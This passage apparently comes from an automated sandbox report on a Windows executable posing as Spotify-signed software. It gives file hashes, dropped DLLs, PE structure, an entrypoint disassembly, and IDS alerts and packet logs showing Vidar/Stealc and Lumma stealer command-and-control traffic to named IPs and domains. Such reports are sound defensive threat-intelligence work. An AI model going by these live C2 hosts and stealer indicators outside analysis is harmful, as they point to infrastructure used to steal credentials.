MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	EBCDIC text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:6llggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggT:Ut
MD5:	E53A28EE13DB984695C39957A1C4FF54
SHA1:	46F501220129B7DC8A64B5BCFF4286389777C468
SHA-256:	CA083FDEABB8166A409BEC89CB8E8EDE6C113C20790935913FB7A58ACF6981F3
SHA-512:	EC49961BB83D2EDC41848E24CED08AB8C39D93E18CF705B885928B4AA3D442B2543BEA31AF4F461C815B0275F2BCA7435E7D0E055ABAFF66485770729737653D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.753466338279284
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	594'296 bytes
MD5:	d2a66a09ec4c30b500b8a250ecac14eb
SHA1:	d4f675b2757df6173c14d3fe9fa6f7b69c72e5f3
SHA256:	af7db44f0971145d05b8ce1757fc2f8d0f549f39d2ea1818a96851f8d1df07eb
SHA512:	c9b10576ae5b6fb2057a4ff6acfa45b25522ee739145faeac3b575f6b7f8e6f7dbc924ecb41a273c8c2b016c7aa6676e34630b5bdc8fb6b7059b772b86b326bd
SSDEEP:	12288:vKLvg3InPBIPKOn8qRpbxjWJOnW7bYRV/WEIX36PYPqIrK8:vKc3IPQjoB7U//WEIn6PCd
TLSH:	0DC40122B4C0C0B3C56315314AE4DAB4AA7EF9710F914E9F67950B3F4F70691AB24BA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6702F11C [Sun Oct 6 20:20:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 01:00:00 20/10/2023 00:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F738CF6D189h
jmp 00007F738CF6C6EFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F738CF6C88Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F738CF6C87Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F738CF6C87Eh
add edx, 28h
cmp edx, esi
jne 00007F738CF6C85Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F738CF6C86Bh
push esi
call 00007F738CF6D49Dh
test eax, eax
je 00007F738CF6C892h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048D954h
mov edx, dword ptr [eax+04h]
jmp 00007F738CF6C876h
cmp edx, eax
je 00007F738CF6C882h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F738CF6C862h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F738CF6C879h
mov byte ptr [0048D958h], 00000001h
call 00007F738CF6CB33h
call 00007F738CF6FA50h
test al, al
jne 00007F738CF6C876h
xor al, al
pop ebp
ret
call 00007F738CF784B4h
test al, al
jne 00007F738CF6C87Ch
push 00000000h
call 00007F738CF6FA57h
pop ecx
jmp 00007F738CF6C85Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0048D959h], 00000000h
je 00007F738CF6C876h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8f000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8e800	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x90000	0x1ab4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	4564d058ae7a733660d6dec0137dad16	False	0.5845392400568182	data	6.651605578663728	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	379837c59313863fe183397cff8d84c5	False	0.43517602848101267	data	4.960372068700103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x62580	0x61800	d0781360400aff3410d87f088951e4d7	False	0.9919446113782051	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.9931285615415275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8f000	0x1d5	0x200	bedff0b62d9114c7342e2e0a5da269f4	False	0.529296875	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x90000	0x1ab4	0x1c00	853b6989ae835f191c040391a6ba6b32	False	0.7264229910714286	data	6.376105238904847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x8f058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-06T22:33:06.305433+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49741	141.98.233.156	80	TCP
2024-10-06T22:33:07.034411+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	141.98.233.156	80	192.168.2.4	49741	TCP
2024-10-06T22:33:07.713904+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	141.98.233.156	80	192.168.2.4	49741	TCP
2024-10-06T22:33:23.769438+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49837	147.45.44.104	80	TCP
2024-10-06T22:33:24.647807+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	49349	1.1.1.1	53	UDP
2024-10-06T22:33:24.666735+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	51368	1.1.1.1	53	UDP
2024-10-06T22:33:24.678253+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	61682	1.1.1.1	53	UDP
2024-10-06T22:33:24.686797+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	51930	1.1.1.1	53	UDP
2024-10-06T22:33:24.699282+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	53901	1.1.1.1	53	UDP
2024-10-06T22:33:24.710803+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	63996	1.1.1.1	53	UDP
2024-10-06T22:33:24.723654+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	56284	1.1.1.1	53	UDP
2024-10-06T22:33:24.735781+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	63264	1.1.1.1	53	UDP
2024-10-06T22:33:26.985124+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49860	172.67.206.204	443	TCP
2024-10-06T22:33:26.985124+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49860	172.67.206.204	443	TCP
2024-10-06T22:33:57.995257+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	49859	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 22:32:14.462461948 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 6, 2024 22:32:43.207257986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:44.212522984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:46.212541103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:50.212501049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:52.556493998 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:52.868767977 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:53.478190899 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:53.512304068 CEST	80	49738	192.229.211.108	192.168.2.4
Oct 6, 2024 22:32:53.512363911 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:53.732558966 CEST	80	49738	192.229.211.108	192.168.2.4
Oct 6, 2024 22:32:53.732631922 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:53.956624985 CEST	80	49738	192.229.211.108	192.168.2.4
Oct 6, 2024 22:32:53.956753969 CEST	49738	80	192.168.2.4	192.229.211.108
Oct 6, 2024 22:32:58.212580919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:58.251705885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:32:58.251955986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:58.252721071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:32:59.256483078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:32:59.256551981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:01.259427071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:01.272511005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:01.272583961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:04.146478891 CEST	49725	80	192.168.2.4	199.232.210.172
Oct 6, 2024 22:33:04.151655912 CEST	80	49725	199.232.210.172	192.168.2.4
Oct 6, 2024 22:33:04.151761055 CEST	49725	80	192.168.2.4	199.232.210.172
Oct 6, 2024 22:33:04.259462118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:04.264475107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:05.182552099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:05.182643890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:05.189793110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:05.194587946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:05.741276979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:05.741342068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:05.742873907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:05.747831106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.305236101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.305288076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.305433035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.391124964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.391212940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.392976999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.397814989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.941812992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.941864967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.941881895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.941898108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.941920042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.941930056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.942107916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.942123890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:06.942156076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:06.942169905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.027868032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.027956963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.029572010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.034410954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.203053951 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.203083038 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:07.203156948 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.203461885 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.203478098 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:07.602022886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.602124929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.708870888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.708914995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.713903904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.713948011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.713983059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.714004040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.718874931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.718943119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.719001055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.719047070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.723788977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.723870993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:07.723954916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.728846073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:07.891319990 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:07.891408920 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.897460938 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.897473097 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:07.897893906 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:07.910701036 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:07.955404043 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.015202999 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.015269995 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.015314102 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.015331984 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.015352964 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.015378952 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.015410900 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.101841927 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.101910114 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.102045059 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.102045059 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.102063894 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.102166891 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.104269028 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.104341984 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.104347944 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.104372978 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.104399920 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.104424000 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.191478968 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.191529036 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.191622019 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.191631079 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.191673994 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.191700935 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.192907095 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.192948103 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.192977905 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.192985058 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.193011999 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.193033934 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.194271088 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.194315910 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.194343090 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.194350004 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.194371939 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.194396019 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.195375919 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.195436001 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.195465088 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.195472002 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.195492029 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.195514917 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.282345057 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.282417059 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.282453060 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.282483101 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.282504082 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.282532930 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.282969952 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.283015013 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.283159018 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.283168077 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.283216000 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.283899069 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.283942938 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.283971071 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.283978939 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.284003973 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.284027100 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.285664082 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.285712004 CEST	443	49745	13.107.246.45	192.168.2.4
